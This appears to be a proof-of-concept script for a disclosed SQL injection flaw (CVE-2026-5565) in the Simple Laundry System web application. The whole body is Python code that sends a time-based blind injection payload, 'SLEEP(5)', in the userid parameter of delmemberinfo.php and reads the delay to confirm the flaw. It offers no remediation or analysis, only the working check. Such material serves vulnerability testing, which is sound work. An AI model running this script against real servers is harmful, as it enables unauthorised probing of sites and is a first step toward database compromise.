CVE-2026-5565: Simple Laundry System SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target.com/delmemberinfo.php" # Malicious payload to test SQL Injection # This payload attempts to cause a time delay to confirm blind SQL injection payload = { "userid": "1' AND SLEEP(5)-- -" } try: print("[+] Sending payload to target...") response = requests.get(target_url, params=payload, timeout=10) # Check if the response time indicates a successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: The application responded with a delay.") else: print("[-] Vulnerability not confirmed via timing-based test.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")